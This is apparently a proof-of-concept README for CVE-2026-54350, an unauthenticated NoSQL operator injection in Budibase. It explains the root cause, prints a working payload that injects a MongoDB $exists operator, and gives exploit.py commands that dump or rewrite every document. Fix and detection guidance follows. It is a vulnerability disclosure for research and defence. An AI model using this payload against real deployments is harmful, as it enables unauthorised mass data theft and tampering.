CVE-2026-54350 — Budibase 未认证 NoSQL 运算符注入

在 Budibase 中发现的未认证 JSON/NoSQL 运算符注入漏洞。任何匿名访问已发布 Budibase 应用的用户，只要该应用暴露一个由文档数据源（MongoDB、CouchDB、Elasticsearch、DynamoDB-PartiQL 或带有 JSON 主体的 REST）支持的 PUBLIC 查询，就可以通过一个未认证的 HTTP 请求 读取底层集合中的每一个文档；如果存在公开的写查询，甚至可以 修改每一个文档。

CVE	CVE-2026-54350
安全公告	GHSA-8qv3-p479-cj62
CVSS 3.1	10.0 — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
CWE	CWE-943（数据查询中特殊元素未正确中和），CWE-89
身份验证	无（未认证）
受影响版本	Budibase <= 3.39.0（厂商安全公告范围）
修复版本	根据 NVD 为 3.39.12；从 3.39.1 开始已能中和注入的引号，显式修复（processJsonStringSync）在 3.39.9 中发布
认定	已确认 — 在 3.39.0 上完整端到端复现

根因

在执行查询时，Budibase 使用 Handlebars 将用户参数嵌入到查询的原始 JSON 主体中，然后对结果进行 JSON.parse：

enrichContext()   packages/server/src/sdk/workspace/queries/queries.ts
  enrichedQuery.json = processStringSync('{"name":"{{ name }}"}', { name: <user> }, { noEscaping: true })
  enrichedQuery.json = JSON.parse(enrichedQuery.json)

在受影响的构建版本中，参数在 没有 JSON 转义 的情况下被插入，因此包含 " 的值会关闭预期的字符串，并将兄弟键注入到解析后的对象中。唯一的输入过滤器 validateQueryInputs()（api/controllers/query/index.ts）仅拒绝 Handlebars 标记（{{、}}）——不会处理 "、\、} 或 $。

对于 MongoDB 的 find 操作，解析后的对象直接被传递给 collection.find()（integrations/mongodb.ts）。一个重复的 name 键，其值为运算符对象，会在 JSON.parse 合并中胜出，从而将字符串相等变为 {$exists: true}，返回整个集合。同样的手法针对 updateMany 查询，会将筛选条件扩大到所有文档。

访问控制被绕过，是因为 authorized()（middleware/authorized.ts:141）在查询的资源角色为 PUBLIC 时，会以 return next() 短路执行，跳过会话认证和 CSRF。到达查询所需的 x-budibase-app-id 头部是公开的——它是每个已发布应用 URL 的一部分。

完整的代码级分析和版本边界调查请参见 ANALYSIS.md。

载荷

查询主体模板（在构建器中配置）：

{"name":"{{ name }}"}

注入到 name 参数的值：

zzz","name":{"$exists":true},"$comment":"cve-2026-54350

插入并经过 JSON.parse（重复键合并，后者胜出）之后：

{ "name": { "$exists": true }, "$comment": "cve-2026-54350" }

$comment 是一个惰性 MongoDB 元运算符，用于吸收模板尾部的 "}，使整个主体保持为有效的 JSON。

利用

exploit.py —— 仅使用 Python 3 标准库，无其他依赖。

# 通过 PUBLIC 的 read（find）查询转储整个集合
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode read

# 通过 PUBLIC 的 updateMany 查询修改每个文档
python3 exploit.py --url http://target --app-id app_<published> \
    --query-id query_<...> --mode write

--app-id 和 --query-id 是公开的值，可从已发布应用自身的 API 流量中观察到。--field 用于覆盖参数绑定的 JSON 键（默认绑定到 --param）。

复现

需要 Docker。此实验使用 --network host（不假定有桥接网络）和 mongo:4.4（宿主机没有 AVX；MongoDB 5.0+ 需要 AVX）。

bash lab/setup.sh
# 输出 PROD_APP_ID / READ_QUERY / UPDATE_QUERY，然后：
python3 exploit.py --url http://127.0.0.1 --app-id <PROD_APP_ID> \
    --query-id <READ_QUERY> --mode read

lab/provision.py 仅使用合法的构建器 API——它不会削弱任何默认设置。将查询的访问角色标记为 PUBLIC 是构建器的一级功能（已发布应用正是通过此机制暴露数据）。完整的捕获运行记录在 EVIDENCE.txt 中。

关于受影响版本的说明

NVD 列出的受影响范围为 < 3.39.12。实际上，裸引号向量仅在 <= 3.39.0 上可利用，这正是厂商 GHSA 公告中所述的范围。从 3.39.1 开始，模板层已经对注入的引号进行了转义（已验证：对 3.39.8 的相同请求已被中和），而 3.39.9 引入了显式的 processJsonStringSync 修复。因此，本 PoC 仅针对 3.39.0，即厂商受影响范围内的最新版本。

影响

• 机密性： 未认证批量读取暴露集合中的每个文档，包括其中的任何敏感字段。
• 完整性： 当存在公开的写（update）查询时，可未认证批量修改每个文档。
• 单一请求，无需会话，无需 CSRF 令牌，支持跨域。

修复措施

• 升级到已修复的 Budibase 版本（>= 3.39.12，或至少 >= 3.39.9，其中 processJsonStringSync 对插入的参数进行了 JSON 转义）。
• 审计已发布的应用，检查访问角色为 PUBLIC 的查询；尽可能将其限制为需要认证的角色。
• 对于文档数据源，优先使用参数化查询，而不是字符串模板化的 JSON 主体。

检测

查找来自未认证会话的 POST /api/v2/queries/<id> 请求，其 parameters 值中包含 " 后跟以 $ 为前缀的 MongoDB 运算符（$exists、$ne、$gt、$where、$regex……）或重复的 JSON 键。在 MongoDB 上启用分析功能，并在查询参数通常为字符串但实际变为对象时发出告警。

致谢

研究和 PoC 由 Caio Fabrício （@BiiTts）完成。